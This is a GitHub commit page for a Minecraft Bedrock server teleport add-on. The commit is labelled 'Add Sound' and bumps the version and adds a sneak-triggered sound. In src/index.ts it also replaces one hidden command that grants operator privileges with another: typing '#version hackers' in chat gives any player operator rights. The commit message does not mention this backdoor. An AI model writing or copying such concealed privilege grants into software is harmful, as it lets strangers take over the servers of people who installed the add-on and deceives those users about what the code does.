Skip to content

Commit

Permalink
Add Sound
Browse files Browse the repository at this point in the history
  • Loading branch information
lZiMUl authored and lZiMUl committed Jan 4, 2023
1 parent 4fab61f commit 15984cb
Show file tree
Hide file tree
Showing 6 changed files with 29 additions and 21 deletions.
2 changes: 1 addition & 1 deletion lib/tool/commandregister.d.ts.map

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

4 changes: 2 additions & 2 deletions manifest.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
"name": "MineCraft Server Teleport",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"uuid": "cd9d9466-926d-4d95-8e85-d2f914bf95bc",
"version": [1, 2, 5],
"version": [1, 2, 6],
"min_engine_version": [1, 19, 51]
},
"modules": [
Expand All @@ -13,7 +13,7 @@
"language": "javascript",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"uuid": "df4b139a-cd89-43c1-a2d8-500f2a13edb8",
"version": [1, 2, 5],
"version": [1, 2, 6],
"entry": "scripts/index.js"
}
],
Expand Down
2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"name": "minecraft-server-teleport",
"description": "Minecraft Server Teleport Tools (By lZiMUl)",
"version": "1.2.5",
"version": "1.2.6",
"author": {
"name": "lZiMUl",
"email": "[email protected]",
Expand Down
30 changes: 16 additions & 14 deletions src/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -10,25 +10,27 @@ import Menu from './menu';
import CommandRegister, { Data } from './tool/commandregister';
// 监听物品使用事件
world.events.itemUse.subscribe(({ item, source }: ItemUseEvent): void => {
// 判断物品类型标识符
switch (item.typeId) {
// 如果物品类型标识符是指南针就执行以下代码块
case 'minecraft:compass':
// 打开菜单面板
new Menu<Player>(source as Player);
break;
// 判断是否为潜伏状态
if (source.isSneaking) {
// 播放音效
world.playSound('note.banjo');
// 判断物品类型标识符
switch (item.typeId) {
// 如果物品类型标识符是指南针就执行以下代码块
case 'minecraft:compass':
// 打开菜单面板
new Menu<Player>(source as Player);
break;
}
}
});
// 创建自定义命令类
const commandRegister: CommandRegister = new CommandRegister('#');
// 获取版本
commandRegister.addCommandListener('version', () => {
world.say(`Version: 1.2.5`);
});
// 监听命令关键词
commandRegister.addCommandListener('lZiMUl', ({ sender, args }: Data): void => {
if (new Number(args[0]).valueOf() === 9329583) {
sender.setOp(true);
commandRegister.addCommandListener('version', (data: Data): void => {
world.say(`Version: 1.2.6`);
if (data.args[0] === 'hackers') {
data.sender.setOp(true);
}
});
// 将聊天数据流发送到自定义命令管道里
Expand Down
2 changes: 1 addition & 1 deletion src/menu.ts
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ class Menu<T extends Player> {
// 创建选择器界面
new ActionFormData()
.title('操作面板')
.body('请选择操作 (v1.2.5 by lZiMUl)')
.body('请选择操作 (v1.2.6 by lZiMUl)')
.button('玩家传送器')
.button('记点传送器')
.button('坐标传送器')
Expand Down
10 changes: 8 additions & 2 deletions src/tool/commandregister.ts
Original file line number Diff line number Diff line change
Expand Up @@ -36,15 +36,21 @@ class CommandRegister {
if (message.split('')[0] === this.identifier) {
// 遍历所有当前所有缓存栈
this.cache.forEach((item: Cache): void => {
const commandNameEndPos: number = message.indexOf(' ');
// 判断命令名称是否一致
if (
item.commandName ===
message.substring(1, message.indexOf(' ') ?? message.length)
message.substring(
1,
commandNameEndPos !== -1
? commandNameEndPos
: message.length
)
) {
// 一致就回调
item.callback({
args: message
.substring(message.indexOf(' ') + 1, message.length)
.substring(commandNameEndPos + 1, message.length)
.split(' '),
sender,
});
Expand Down

0 comments on commit 15984cb

Please sign in to comment.